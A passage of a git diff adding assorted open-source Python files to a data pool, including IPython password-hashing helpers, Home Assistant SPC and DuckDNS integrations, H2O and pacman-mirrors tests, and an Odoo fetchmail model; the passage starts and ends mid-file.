hashed password and salt for use in notebook configuration. + + In the notebook configuration, set `c.NotebookApp.password` to + the generated string. + + Parameters + ---------- + passphrase : str + Password to hash. If unspecified, the user is asked to input + and verify a password. + algorithm : str + Hashing algorithm to use (e.g, 'sha1' or any argument supported + by :func:`hashlib.new`). + + Returns + ------- + hashed_passphrase : str + Hashed password, in the format 'hash_algorithm:salt:passphrase_hash'. + + Examples + -------- + >>> passwd('mypassword') + 'sha1:7cf3:b7d6da294ea9592a9480c8f52e63cd42cfb9dd12' + + """ + if passphrase is None: + for i in range(3): + p0 = getpass.getpass('Enter password: ') + p1 = getpass.getpass('Verify password: ') + if p0 == p1: + passphrase = p0 + break + else: + print('Passwords do not match.') + else: + raise UsageError('No matching passwords found. Giving up.') + + h = hashlib.new(algorithm) + salt = ('%0' + str(salt_len) + 'x') % random.getrandbits(4 * salt_len) + h.update(cast_bytes(passphrase, 'utf-8') + str_to_bytes(salt, 'ascii')) + + return ':'.join((algorithm, salt, h.hexdigest())) + + +def passwd_check(hashed_passphrase, passphrase): + """Verify that a given passphrase matches its hashed version. + + Parameters + ---------- + hashed_passphrase : str + Hashed password, in the format returned by `passwd`. + passphrase : str + Passphrase to validate. + + Returns + ------- + valid : bool + True if the passphrase matches the hash. + + Examples + -------- + >>> from IPython.lib.security import passwd_check + >>> passwd_check('sha1:0e112c3ddfce:a68df677475c2b47b6e86d0467eec97ac5f4b85a', + ... 'mypassword') + True + + >>> passwd_check('sha1:0e112c3ddfce:a68df677475c2b47b6e86d0467eec97ac5f4b85a', + ... 'anotherpassword') + False + """ + try: + algorithm, salt, pw_digest = hashed_passphrase.split(':', 2) + except (ValueError, TypeError): + return False + + try: + h = hashlib.new(algorithm) + except ValueError: + return False + + if len(pw_digest) == 0: + return False + + h.update(cast_bytes(passphrase, 'utf-8') + cast_bytes(salt, 'ascii')) + + return h.hexdigest() == pw_digest diff --git a/pool/shard000/Python/0008334_binary_sensor.py b/pool/shard000/Python/0008334_binary_sensor.py new file mode 100644 index 0000000000000000000000000000000000000000..1ce02af390f26705a13af9e2d318b70f93215812 --- /dev/null +++ b/pool/shard000/Python/0008334_binary_sensor.py @@ -0,0 +1,81 @@ +"""Support for Vanderbilt (formerly Siemens) SPC alarm systems.""" +import logging + +from homeassistant.components.binary_sensor import BinarySensorDevice +from homeassistant.core import callback +from homeassistant.helpers.dispatcher import async_dispatcher_connect + +from . import DATA_API, SIGNAL_UPDATE_SENSOR + +_LOGGER = logging.getLogger(__name__) + + +def _get_device_class(zone_type): + from pyspcwebgw.const import ZoneType + + return { + ZoneType.ALARM: "motion", + ZoneType.ENTRY_EXIT: "opening", + ZoneType.FIRE: "smoke", + }.get(zone_type) + + +async def async_setup_platform(hass, config, async_add_entities, discovery_info=None): + """Set up the SPC binary sensor.""" + if discovery_info is None: + return + api = hass.data[DATA_API] + async_add_entities( + [ + SpcBinarySensor(zone) + for zone in api.zones.values() + if _get_device_class(zone.type) + ] + ) + + +class SpcBinarySensor(BinarySensorDevice): + """Representation of a sensor based on a SPC zone.""" + + def __init__(self, zone): + """Initialize the sensor device.""" + self._zone = zone + + async def async_added_to_hass(self): + """Call for adding new entities.""" + async_dispatcher_connect( + self.hass, SIGNAL_UPDATE_SENSOR.format(self._zone.id), self._update_callback + ) + + @callback + def _update_callback(self): + """Call update method.""" + self.async_schedule_update_ha_state(True) + + @property + def name(self): + """Return the name of the device.""" + return self._zone.name + + @property + def is_on(self): + """Whether the device is switched on.""" + from pyspcwebgw.const import ZoneInput + + return self._zone.input == ZoneInput.OPEN + + @property + def hidden(self) -> bool: + """Whether the device is hidden by default.""" + # These type of sensors are probably mainly used for automations + return True + + @property + def should_poll(self): + """No polling needed.""" + return False + + @property + def device_class(self): + """Return the device class.""" + return _get_device_class(self._zone.type) diff --git a/pool/shard000/Python/0008336_pyunit_pubdev_4628_deeplearning_mojo_large.py b/pool/shard000/Python/0008336_pyunit_pubdev_4628_deeplearning_mojo_large.py new file mode 100644 index 0000000000000000000000000000000000000000..aa127d461bb20493d982b31ea04df278146e6b70 --- /dev/null +++ b/pool/shard000/Python/0008336_pyunit_pubdev_4628_deeplearning_mojo_large.py @@ -0,0 +1,166 @@ +from builtins import range +import sys, os +sys.path.insert(1, "../../../") +import h2o +from tests import pyunit_utils +import random +from random import randint +import re +import subprocess +from subprocess import STDOUT,PIPE +from h2o.estimators.deeplearning import H2ODeepLearningEstimator + +NTESTROWS = 200 # number of test dataset rows +MAXLAYERS = 8 +MAXNODESPERLAYER = 20 +TMPDIR = "" +POJONAME = "" +PROBLEM="regression" + +def deeplearning_mojo(): + h2o.remove_all() + + params = set_params() # set deeplearning model parameters + + df = random_dataset(PROBLEM) # generate random dataset + train = df[NTESTROWS:, :] + test = df[:NTESTROWS, :] + x = list(set(df.names) - {"response"}) + + try: + deeplearningModel = build_save_model(params, x, train) # build and save mojo model + h2o.download_csv(test[x], os.path.join(TMPDIR, 'in.csv')) # save test file, h2o predict/mojo use same file + pred_h2o = mojo_predict(deeplearningModel, x) # load model and perform predict + + pred_mojo = h2o.import_file(os.path.join(TMPDIR, 'out_mojo.csv'), header=1) # load mojo prediction into a frame and compare + pyunit_utils.compare_numeric_frames(pred_h2o, pred_mojo, 0.1, tol=1e-4) + except Exception as ex: + print("*************** ERROR and type is ") + print(str(type(ex))) + if hasattr(ex, 'args') and type(ex.args[0])==type("what"): + if "unstable model" not in ex.args[0] and "DistributedException" not in ex.args[0]: + print(params) + sys.exit(1) # okay to encounter unstable model but nothingh else + else: + print("An unstable model is found and no mojo is built.") + elif "EnvironmentError" in str(type(ex)): + print("An unstable model is found and no mojo is built.") + else: + sys.exit(1) # other errors occurred. + + +def set_params(): + global PROBLEM + allAct = ["maxout", "rectifier", "maxout_with_dropout", "tanh_with_dropout", "rectifier_with_dropout", "tanh"] + problemType = ["binomial", "multinomial", "regression"] + missingValues = ['Skip', 'MeanImputation'] + allFactors = [True, False] + categoricalEncodings = ['auto', 'one_hot_internal', 'binary', 'eigen'] + + enableEncoder = allFactors[randint(0,len(allFactors)-1)] # enable autoEncoder or not + if (enableEncoder): # maxout not support for autoEncoder + allAct = ["rectifier", "tanh_with_dropout", "rectifier_with_dropout", "tanh"] + PROBLEM = problemType[randint(0,len(problemType)-1)] + actFunc = allAct[randint(0,len(allAct)-1)] + missing_values = missingValues[randint(0, len(missingValues)-1)] + cateEn = categoricalEncodings[randint(0, len(categoricalEncodings)-1)] + + hiddens, hidden_dropout_ratios = random_networkSize(actFunc) # generate random size layers + params = {} + if ('dropout') in actFunc: + params = {'hidden': hiddens, 'standardize': True, + 'missing_values_handling': missing_values, 'activation': actFunc, + 'use_all_factor_levels': allFactors[randint(0, len(allFactors) - 1)], + 'hidden_dropout_ratios': hidden_dropout_ratios, + 'input_dropout_ratio': random.uniform(0, 0.5), + 'categorical_encoding':cateEn, + 'autoencoder':enableEncoder + } + else: + params = {'hidden': hiddens, 'standardize': True, + 'missing_values_handling': missing_values, 'activation': actFunc, + 'use_all_factor_levels': allFactors[randint(0, len(allFactors) - 1)], + 'input_dropout_ratio': random.uniform(0, 0.5), + 'categorical_encoding':cateEn, + 'autoencoder':enableEncoder + } + print(params) + return params + +# perform h2o predict and mojo predict. Frame containing h2o prediction is returned and mojo predict is +# written to file. +def mojo_predict(model, x): + newTest = h2o.import_file(os.path.join(TMPDIR, 'in.csv')) # Make sure h2o and mojo use same in.csv + predictions1 = model.predict(newTest) + + # load mojo and have it do predict + outFileName = os.path.join(TMPDIR, 'out_mojo.csv') + genJarDir = str.split(str(TMPDIR),'/') + genJarDir = '/'.join(genJarDir[0:genJarDir.index('h2o-py')]) # locate directory of genmodel.jar + java_cmd = ["java", "-ea", "-cp", os.path.join(genJarDir, "h2o-assemblies/genmodel/build/libs/genmodel.jar"), + "-Xmx12g", "-XX:MaxPermSize=2g", "-XX:ReservedCodeCacheSize=256m", "hex.genmodel.tools.PredictCsv", + "--input", os.path.join(TMPDIR, 'in.csv'), "--output", + outFileName, "--mojo", os.path.join(TMPDIR, POJONAME)+".zip", "--decimal"] + p = subprocess.Popen(java_cmd, stdout=PIPE, stderr=STDOUT) + o, e = p.communicate() + return predictions1 + +def build_save_model(params, x, train): + global TMPDIR + global POJONAME + # build a model + model = H2ODeepLearningEstimator(**params) + if params['autoencoder']: + model.train(x=x, training_frame=train) + else: + model.train(x=x, y="response", training_frame=train) + # save model + regex = re.compile("[+\\-* !@#$%^&()={}\\[\\]|;:'\"<>,.?/]") + POJONAME = regex.sub("_", model._id) + + print("Downloading Java prediction model code from H2O") + TMPDIR = os.path.normpath(os.path.join(os.path.dirname(os.path.realpath('__file__')), "..", "results", POJONAME)) + os.makedirs(TMPDIR) + model.download_mojo(path=TMPDIR) # save mojo + return model + +# generate random neural network architecture +def random_networkSize(actFunc): + no_hidden_layers = randint(1, MAXLAYERS) + hidden = [] + hidden_dropouts = [] + for k in range(1, no_hidden_layers+1): + hidden.append(randint(1,MAXNODESPERLAYER)) + if 'dropout' in actFunc.lower(): + hidden_dropouts.append(random.uniform(0,0.5)) + + return hidden, hidden_dropouts + +# generate random dataset +def random_dataset(response_type, verbose=True): + """Create and return a random dataset.""" + if verbose: print("\nCreating a dataset for a %s problem:" % response_type) + fractions = {k + "_fraction": random.random() for k in "real categorical integer time string binary".split()} + fractions["string_fraction"] = 0 # Right now we are dropping string columns, so no point in having them. + fractions["binary_fraction"] /= 3 + fractions["time_fraction"] /= 2 + + sum_fractions = sum(fractions.values()) + for k in fractions: + fractions[k] /= sum_fractions + response_factors = (1 if response_type == "regression" else + 2 if response_type == "binomial" else + random.randint(3, 10)) + df = h2o.create_frame(rows=random.randint(15000, 25000) + NTESTROWS, cols=random.randint(3, 20), + missing_fraction=random.uniform(0, 0.05), + has_response=True, response_factors=response_factors, positive_response=True, factors=10, + **fractions) + if verbose: + print() + df.show() + return df + +if __name__ == "__main__": + pyunit_utils.standalone_test(deeplearning_mojo) +else: + deeplearning_mojo() diff --git a/pool/shard000/Python/0008339_move.py b/pool/shard000/Python/0008339_move.py new file mode 100644 index 0000000000000000000000000000000000000000..d25d96ab260b3017f2af8e1395e9ec026674c555 --- /dev/null +++ b/pool/shard000/Python/0008339_move.py @@ -0,0 +1,48 @@ +import time +import logging + +from waterbutler.tasks import core +from waterbutler.core.path import WaterButlerPath +from waterbutler.core import utils, remote_logging +from waterbutler.core.log_payload import LogPayload + +logger = logging.getLogger(__name__) + + +@core.celery_task +async def move(src_bundle, dest_bundle, request=None, start_time=None, **kwargs): + + request = request or {} + start_time = start_time or time.time() + + src_path = src_bundle.pop('path') + src_provider = utils.make_provider(**src_bundle.pop('provider'), is_celery_task=True) + + dest_path = dest_bundle.pop('path') + dest_provider = utils.make_provider(**dest_bundle.pop('provider'), is_celery_task=True) + + logger.info('Starting moving {!r}, {!r} to {!r}, {!r}' + .format(src_path, src_provider, dest_path, dest_provider)) + + metadata, errors = None, [] + try: + metadata, created = await src_provider.move(dest_provider, src_path, dest_path, **kwargs) + except Exception as e: + logger.error('Move failed with error {!r}'.format(e)) + errors = [e.__repr__()] + raise # Ensure sentry sees this + else: + logger.info('Move succeeded') + dest_path = WaterButlerPath.from_metadata(metadata) + finally: + source = LogPayload(src_bundle['nid'], src_provider, path=src_path) + destination = LogPayload( + dest_bundle['nid'], dest_provider, path=dest_path, metadata=metadata + ) + + await remote_logging.wait_for_log_futures( + 'move', source=source, destination=destination, start_time=start_time, + errors=errors, request=request, api_version='celery', + ) + + return metadata, created diff --git a/pool/shard000/Python/0008345_collect_assignees.py b/pool/shard000/Python/0008345_collect_assignees.py new file mode 100644 index 0000000000000000000000000000000000000000..054a3ce609ed9495d9f1926901c39449b8fe8993 --- /dev/null +++ b/pool/shard000/Python/0008345_collect_assignees.py @@ -0,0 +1,48 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +import json +from pymongo import MongoClient +import os + +from launchpad_reporting.db import db + +from launchpad_reporting.launchpad.lpdata import LaunchpadAnonymousData + +lpdata = LaunchpadAnonymousData(bugs_db=db) +connection = MongoClient() +db = connection["assignees"] + +assignees = db.assignees + +path_to_data = "/".join(os.path.abspath(__file__).split('/')[:-1]) +with open('{0}/fuel_teams.json'.format(path_to_data)) as data_file: + data = json.load(data_file) + +teams = ["Fuel", "Partners", "mos-linux", "mos-openstack"] + +db.drop_collection(assignees) + +global_team_list = {} + +for team in teams: + people = [] + people.extend(data[team]["teams"]) + + team_list = {} + + for t in data[team]["teams"]: + team_list[t] = [] + tt = lpdata.launchpad.people[t] + members = tt.members_details + for member in members: + people.append(member.member.name) + team_list[t].append(member.member.name) + + global_team_list[team] = team_list + assignees.insert({"Team": "{0}".format(team), + "Members": people}) + + +with open("file.json", "w") as f: + f.write(json.dumps(global_team_list)) diff --git a/pool/shard000/Python/0008349_test_inital_values.py b/pool/shard000/Python/0008349_test_inital_values.py new file mode 100644 index 0000000000000000000000000000000000000000..1c46541935888c16704c1b837e7e1a39bf19454d --- /dev/null +++ b/pool/shard000/Python/0008349_test_inital_values.py @@ -0,0 +1,118 @@ +#!/usr/bin/env python + +""" +test_pacman-mirrors +---------------------------------- + +Tests for `pacman-mirrors` module. +""" + +import unittest +from unittest.mock import patch + +from pacman_mirrors.pacman_mirrors import PacmanMirrors + + +class TestInitialValues(unittest.TestCase): + """Pacman Mirrors Test suite""" + def setUp(self): + """Setup tests""" + pass + + @patch("os.getuid") + def test_initial_custom(self, mock_os_getuid): + """TEST: self.custom is False""" + mock_os_getuid.return_value = 0 + with unittest.mock.patch("sys.argv", + ["pacman-mirrors", "f1"]): + app = PacmanMirrors() + assert app.custom is False + + @patch("os.getuid") + def test_initial_fasttrack(self, mock_os_getuid): + """TEST: self.fasttrack is False""" + mock_os_getuid.return_value = 0 + with unittest.mock.patch("sys.argv", + ["pacman-mirrors", "-f1"]): + app = PacmanMirrors() + assert app.fasttrack is None + + @patch("os.getuid") + def test_initial_geoip(self, mock_os_getuid): + """TEST: self.geoip is False""" + mock_os_getuid.return_value = 0 + with unittest.mock.patch("sys.argv", + ["pacman-mirrors", "-f1"]): + app = PacmanMirrors() + assert app.geoip is False + + @patch("os.getuid") + def test_initial_interactive(self, mock_os_getuid): + """TEST: self.interactive is False""" + mock_os_getuid.return_value = 0 + with unittest.mock.patch("sys.argv", + ["pacman-mirrors", "-f1"]): + app = PacmanMirrors() + assert app.interactive is False + + @patch("os.getuid") + def test_initial_max_wait_time(self, mock_os_getuid): + """TEST: self.max_wait_time = 2""" + mock_os_getuid.return_value = 0 + with unittest.mock.patch("sys.argv", + ["pacman-mirrors", "-f1"]): + app = PacmanMirrors() + assert app.max_wait_time == 2 + + @patch("os.getuid") + def test_initial_network(self, mock_os_getuid): + """TEST: self.network is True""" + mock_os_getuid.return_value = 0 + with unittest.mock.patch("sys.argv", + ["pacman-mirrors", "-f1"]): + app = PacmanMirrors() + assert app.network is True + + @patch("os.getuid") + def test_initial_nodisplay(self, mock_os_getuid): + """TEST: self.no_display is False""" + mock_os_getuid.return_value = 0 + with unittest.mock.patch("sys.argv", + ["pacman-mirrors", "-f1"]): + app = PacmanMirrors() + assert app.no_display is False + + @patch("os.getuid") + def test_initial_no_mirrorlist(self, mock_os_getuid): + """TEST: self.no_mirrorlist = False""" + mock_os_getuid.return_value = 0 + with unittest.mock.patch("sys.argv", + ["pacman-mirrors", "-g"]): + app = PacmanMirrors() + assert app.no_mirrorlist is False + + @patch("os.getuid") + def test_initial_quiet(self, mock_os_getuid): + """TEST: self.quiet is False""" + mock_os_getuid.return_value = 0 + with unittest.mock.patch("sys.argv", + ["pacman-mirrors", "-f1"]): + app = PacmanMirrors() + assert app.quiet is False + + @patch("os.getuid") + def test_initial_selected_countries(self, mock_os_getuid): + """TEST: self.selected_countries = []""" + mock_os_getuid.return_value = 0 + with unittest.mock.patch("sys.argv", + ["pacman-mirrors", "-f1"]): + app = PacmanMirrors() + assert app.selected_countries == [] + + def tearDown(self): + """Tear down""" + pass + + +if __name__ == "__main__": + unittest.main() diff --git a/pool/shard000/Python/0008355_dummy.py b/pool/shard000/Python/0008355_dummy.py new file mode 100644 index 0000000000000000000000000000000000000000..fb2e559abf692a58f353bdb9ad778522d82f9087 --- /dev/null +++ b/pool/shard000/Python/0008355_dummy.py @@ -0,0 +1,49 @@ +# Twisted Imports +from twisted.internet import defer +from twisted.internet.protocol import Factory + +# Package Imports +from ..util import now +from ..machine import Machine, Component, Stream, Property +from ..protocol.basic import QueuedLineReceiver as _qlr + +__all__ = ["Dummy"] + + +class QueuedLineReceiver (_qlr): + + delimiter = "\n\r" + out_delimiter = "\n" + + def sendLine (self, line): + """ + Sends a line to the other end of the connection. + + @param line: The line to send, not including the delimiter. + @type line: C{str} + """ + return self.transport.write(line + self.out_delimiter) + + +class Dummy (Machine): + + protocolFactory = Factory.forProtocol(QueuedLineReceiver) + name = "Dummy Machine" + + def setup (self): + pass + + def start (self): + pass + + def stop (self): + pass + + def reset (self): + return defer.succeed('OK') + + def write (self, msg): + return self.protocol.write(msg) + + def hope (self, msg): + return self.protocol.write(msg, expectReply = False) diff --git a/pool/shard000/Python/0008358_rand.py b/pool/shard000/Python/0008358_rand.py new file mode 100644 index 0000000000000000000000000000000000000000..96f29aa65682bfd979a686a4cc0fe19de1be920f --- /dev/null +++ b/pool/shard000/Python/0008358_rand.py @@ -0,0 +1,109 @@ +# tests.random +# A visualizer that draws a random scatter plot for testing. +# +# Author: Benjamin Bengfort +# Created: Wed Mar 21 17:51:15 2018 -0400 +# +# ID: rand.py [cc69b3c] davidwaterman@gmail.com $ + +""" +A visualizer that draws a random scatter plot for testing. +""" + +########################################################################## +## Imports +########################################################################## + +import numpy as np + +from yellowbrick.base import Visualizer +from yellowbrick.style import resolve_colors + +from sklearn.datasets import make_blobs + + +########################################################################## +## Random Visualizer +########################################################################## + + +class RandomVisualizer(Visualizer): + """ + Creates random scatter plots as a testing utility. + + Data generation uses scikit-learn make_blobs to create scatter plots that + have reasonable visual features and multiple colors. + + Parameters + ---------- + ax : matplotlib Axes, default: None + The axis to plot the figure on. If None is passed in the current axes + will be used (or generated if required). + + n_samples : int, default: 100 + The number of points to generate for the scatter plot + + n_blobs : int or array of shape [n_centers, 2] + Define the number of blobs to create or specify their centers. + + random_state : int, RandomState or None: + Used to specify the seed of the random state to ensure tests work. + """ + + def __init__(self, ax=None, n_samples=100, n_blobs=3, random_state=None, **kwargs): + + super(RandomVisualizer, self).__init__(ax=ax, **kwargs) + if isinstance(random_state, (int, float)) or random_state is None: + random_state = np.random.RandomState(random_state) + + self.n_samples = n_samples + self.n_blobs = n_blobs + self.random_state = random_state + + def generate(self): + """ + Returns random data according to the visualizer specification. + + Returns + ------- + X : array of shape [n_samples, 2] + 2 dimensional array of points to plot + + y : vector with length n_samples + Center/blob each point belongs to (used for color) + """ + return make_blobs( + n_samples=self.n_samples, n_features=2, centers=self.n_blobs, random_state=self.random_state + ) + + def fit(self, *args, **kwargs): + X, c = self.generate() + + x = X[:, 0] + y = X[:, 1] + + self.draw(x, y, c) + return self + + def draw(self, x, y, c): + colors = resolve_colors(self.n_blobs) + + for i in np.arange(self.n_blobs): + mask = c == i + label = "c{}".format(i) + self.ax.scatter(x[mask], y[mask], label=label, c=colors[i]) + + return self.ax + + def finalize(self): + self.ax.legend(frameon=True) + self.ax.set_ylabel("$y$") + self.ax.set_xlabel("$x$") + self.ax.set_title("Random Scatter Plot") + return self.ax + + +if __name__ == "__main__": + r = RandomVisualizer() + r.fit() + r.show(outpath="test.png") diff --git a/pool/shard000/Python/0008363_fetchmailserverfolder.py b/pool/shard000/Python/0008363_fetchmailserverfolder.py new file mode 100644 index 0000000000000000000000000000000000000000..cfcc4b7a3da32ed4d5973cd5cee9705a29d6e756 --- /dev/null +++ b/pool/shard000/Python/0008363_fetchmailserverfolder.py @@ -0,0 +1,102 @@ +# -*- coding: utf-8 -*- +# © 2016 ClearCorp +# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl.html). + +from openerp import api, models, fields +from .. import match_algorithm + + +class FetchmailServerFolder(models.Model): + _name = 'fetchmail.server.folder' + _rec_name = 'path' + _order = 'sequence' + + def _get_match_algorithms(self): + def get_all_subclasses(cls): + return (cls.__subclasses__() + + [subsub + for sub in cls.__subclasses__() + for subsub in get_all_subclasses(sub)]) + + return dict([(cls.__name__, cls) + for cls in get_all_subclasses( + match_algorithm.base.Base)]) + + def _get_match_algorithms_sel(self): + algorithms = [] + for cls in self._get_match_algorithms().itervalues(): + algorithms.append((cls.__name__, cls.name)) + algorithms.sort() + return algorithms + + sequence = fields.Integer('Sequence') + path = fields.Char( + 'Path', + help="The path to your mail folder. Typically would be something like " + "'INBOX.myfolder'", required=True) + model_id = fields.Many2one( + 'ir.model', 'Model', required=True, + help='The model to attach emails to') + model_field = fields.Char( + 'Field (model)', + help='The field in your model that contains the field to match ' + 'against.\n' + 'Examples:\n' + "'email' if your model is res.partner, or " + "'partner_id.email' if you're matching sale orders") + model_order = fields.Char( + 'Order (model)', + help='Field(s) to order by, this mostly useful in conjunction ' + "with 'Use 1st match'") + match_algorithm = fields.Selection( + _get_match_algorithms_sel, + 'Match algorithm', required=True, + help='The algorithm used to determine which object an email matches.') + mail_field = fields.Char( + 'Field (email)', + help='The field in the email used for matching. Typically ' + "this is 'to' or 'from'") + server_id = fields.Many2one('fetchmail.server', 'Server') + delete_matching = fields.Boolean( + 'Delete matches', + help='Delete matched emails from server') + flag_nonmatching = fields.Boolean( + 'Flag nonmatching', + help="Flag emails in the server that don't match any object in Odoo") + match_first = fields.Boolean( + 'Use 1st match', + help='If there are multiple matches, use the first one. If ' + 'not checked, multiple matches count as no match at all') + domain = fields.Char( + 'Domain', + help='Fill in a search filter to narrow down objects to match') + msg_state = fields.Selection( + [ + ('sent', 'Sent'), + ('received', 'Received'), + ], + 'Message state', + help='The state messages fetched from this folder should be ' + 'assigned in Odoo') + active = fields.Boolean('Active') + + _defaults = { + 'flag_nonmatching': True, + 'msg_state': 'received', + 'active': True, + } + + @api.multi + def get_algorithm(self): + return self._get_match_algorithms()[self.match_algorithm]() + + @api.multi + def button_attach_mail_manually(self): + return { + 'type': 'ir.actions.act_window', + 'res_model': 'fetchmail.attach.mail.manually', + 'target': 'new', + 'context': dict(self.env.context, default_folder_id=self.id), + 'view_type': 'form', + 'view_mode': 'form', + } diff --git a/pool/shard000/Python/0008368_test_vhdutil.py b/pool/shard000/Python/0008368_test_vhdutil.py new file mode 100644 index 0000000000000000000000000000000000000000..eecbe70c26497491cc1b92b1c3c54965737ef187 --- /dev/null +++ b/pool/shard000/Python/0008368_test_vhdutil.py @@ -0,0 +1,38 @@ +import unittest +import mock + +import SR +import vhdutil +import xs_errors +import testlib + +MAX_VHD_SIZE = 2093050 * 1024 * 1024 + +class TestVhdUtil(unittest.TestCase): + + def test_validate_and_round_min_size(self): + size = vhdutil.validate_and_round_vhd_size(2 * 1024 * 1024) + + self.assertTrue(size == 2 * 1024 * 1024) + + def test_validate_and_round_max_size(self): + size = vhdutil.validate_and_round_vhd_size(MAX_VHD_SIZE) + + self.assertTrue(size == MAX_VHD_SIZE) + + def test_validate_and_round_odd_size_up_to_next_boundary(self): + size = vhdutil.validate_and_round_vhd_size(MAX_VHD_SIZE - 1) + + self.assertTrue(size == MAX_VHD_SIZE) + + @testlib.with_context + def test_validate_and_round_negative(self, context): + context.setup_error_codes() + with self.assertRaises(SR.SROSError): + vhdutil.validate_and_round_vhd_size(-1) + + @testlib.with_context + def test_validate_and_round_too_large(self, context): + context.setup_error_codes() + with self.assertRaises(SR.SROSError): + vhdutil.validate_and_round_vhd_size(MAX_VHD_SIZE + 1) diff --git a/pool/shard000/Python/0008369_FieldHandler.py b/pool/shard000/Python/0008369_FieldHandler.py new file mode 100644 index 0000000000000000000000000000000000000000..33fcc7bd3ffd5cb616e01f45257bb48572907548 --- /dev/null +++ b/pool/shard000/Python/0008369_FieldHandler.py @@ -0,0 +1,111 @@ +from abc import ABCMeta, abstractmethod + +class FieldHanlder(object): + '''Defines how to treat a field within the text source''' + __metaclass__ = ABCMeta + + + def __init__(self, text_name): + '''Init + + @param text_property_name: Name of the field in the text file + @param case_sensitive: Is text_name case sensitive + ''' + self.__match_text_name = text_name + self.__text_name_case_sensitive = False + self.__identifies_obj = False + self.__required = False + + + @property + def is_unique_id(self): + '''Does this this field value unqiuely identify the object''' + return self.__identifies_obj + + + @property + def is_required(self): + '''Is this field required to have a value on every text object?''' + return self.__required + + + def matches_text_name(self, text_name): + '''Check to see if the give text name matches this field handler + + @param text_name: Name of the field from the text source + ''' + if self.__text_name_case_sensitive: + return text_name == self.__match_text_name + + text_name = text_name.lower() + my_name = self.__match_text_name.lower() + return text_name == my_name + + + # -- Fluid Interface ------------------------------------------------------ + + def identifies_obj(self): + '''Note that this field can be used to unqiuely identify the object''' + self.__identifies_obj = True + self.required() + return self + + + def required(self): + self.__required = True + return self + + + def case_sesitive(self): + '''Mark the text_name as case sensitive''' + self.__text_name_case_sensitive = True + return self + + + # -- Value Handling ------------------------------------------------------- + + # Single values are the basic fields where the value is a single value + # that needs to be stored. + # Parser should: + # 1) Call convert_parsed_value() + # 2) Save the parsed value to the field value + SAVE_SINGLE_VALUE = 'SAVE_SINGLE_VALUE' + + + # List of values to be interpreted. + # Parser should: + # 1) Call convert_parsed_value() on each individual item + # 2) Save the parsed values as a list to the field value + SAVE_LIST_ITEMS = 'SAVE_LIST_ITEMS' + + @abstractmethod + def handling_code(self): + '''Tell parser what to do with this field when it is being parsed + + This method must return one of the class constants which instructs + the parser how to handle the value. This is used primarily to help + the parser know if it's parsing a field value, a sub object, or a + collection value. + + @return str: Class constant + ''' + + + @abstractmethod + def valdiate(self, value): + '''Check the validity of the value store in the field + + @return str: None if no errors, else string error description + ''' + + + def convert_parsed_value(self, parsed_value): + '''Take the value parsed from the text file and encode value for field + + @param parsed_value: Value parsed from text source. Typically str. + @return: Value to save as field value + ''' + return parsed_value + + + diff --git a/pool/shard000/Python/0008373_init__.py b/pool/shard000/Python/0008373_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..2271b107b364454e9cab7876715b7b9c3265052f --- /dev/null +++ b/pool/shard000/Python/0008373_init__.py @@ -0,0 +1,127 @@ +"""Integrate with DuckDNS.""" +from datetime import timedelta +import logging + +import voluptuous as vol + +from homeassistant.const import CONF_ACCESS_TOKEN, CONF_DOMAIN +from homeassistant.core import CALLBACK_TYPE, callback +from homeassistant.helpers.aiohttp_client import async_get_clientsession +import homeassistant.helpers.config_validation as cv +from homeassistant.helpers.event import async_call_later +from homeassistant.loader import bind_hass +from homeassistant.util import dt as dt_util + +_LOGGER = logging.getLogger(__name__) + +ATTR_TXT = "txt" + +DOMAIN = "duckdns" + +INTERVAL = timedelta(minutes=5) + +SERVICE_SET_TXT = "set_txt" + +UPDATE_URL = "https://www.duckdns.org/update" + +CONFIG_SCHEMA = vol.Schema( + { + DOMAIN: vol.Schema( + { + vol.Required(CONF_DOMAIN): cv.string, + vol.Required(CONF_ACCESS_TOKEN): cv.string, + } + ) + }, + extra=vol.ALLOW_EXTRA, +) + +SERVICE_TXT_SCHEMA = vol.Schema({vol.Required(ATTR_TXT): vol.Any(None, cv.string)}) + + +async def async_setup(hass, config): + """Initialize the DuckDNS component.""" + domain = config[DOMAIN][CONF_DOMAIN] + token = config[DOMAIN][CONF_ACCESS_TOKEN] + session = async_get_clientsession(hass) + + async def update_domain_interval(_now): + """Update the DuckDNS entry.""" + return await _update_duckdns(session, domain, token) + + intervals = ( + INTERVAL, + timedelta(minutes=1), + timedelta(minutes=5), + timedelta(minutes=15), + timedelta(minutes=30), + ) + async_track_time_interval_backoff(hass, update_domain_interval, intervals) + + async def update_domain_service(call): + """Update the DuckDNS entry.""" + await _update_duckdns(session, domain, token, txt=call.data[ATTR_TXT]) + + hass.services.async_register( + DOMAIN, SERVICE_SET_TXT, update_domain_service, schema=SERVICE_TXT_SCHEMA + ) + + return True + + +_SENTINEL = object() + + +async def _update_duckdns(session, domain, token, *, txt=_SENTINEL, clear=False): + """Update DuckDNS.""" + params = {"domains": domain, "token": token} + + if txt is not _SENTINEL: + if txt is None: + # Pass in empty txt value to indicate it's clearing txt record + params["txt"] = "" + clear = True + else: + params["txt"] = txt + + if clear: + params["clear"] = "true" + + resp = await session.get(UPDATE_URL, params=params) + body = await resp.text() + + if body != "OK": + _LOGGER.warning("Updating DuckDNS domain failed: %s", domain) + return False + + return True + + +@callback +@bind_hass +def async_track_time_interval_backoff(hass, action, intervals) -> CALLBACK_TYPE: + """Add a listener that fires repetitively at every timedelta interval.""" + if not isinstance(intervals, (list, tuple)): + intervals = (intervals,) + remove = None + failed = 0 + + async def interval_listener(now): + """Handle elapsed intervals with backoff.""" + nonlocal failed, remove + try: + failed += 1 + if await action(now): + failed = 0 + finally: + delay = intervals[failed] if failed < len(intervals) else intervals[-1] + remove = async_call_later(hass, delay.total_seconds(), interval_listener) + + hass.async_run_job(interval_listener, dt_util.utcnow()) + + def remove_listener(): + """Remove interval listener.""" + if remove: + remove() # pylint: disable=not-callable + + return remove_listener diff --git a/pool/shard000/Python/0008374_package.py b/pool/shard000/Python/0008374_package.py new file mode 100644 index 0000000000000000000000000000000000000000..f44596b88224a42b2364b8283a8d334dfa344a86 --- /dev/null +++ b/pool/shard000/Python/0008374_package.py @@ -0,0 +1,53 @@ +############################################################################## +# Copyright (c) 2013-2017, Lawrence Livermore National Security, LLC. +# Produced at the Lawrence Livermore National Laboratory. +# +# This file is part of Spack. +# Created by Todd Gamblin, tgamblin@llnl.gov, All rights reserved. +# LLNL-CODE-647188 +# +# For details, see https://github.com/spack/spack +# Please also see the NOTICE and LICENSE files for our notice and the LGPL. +# +# This program is free software; you can 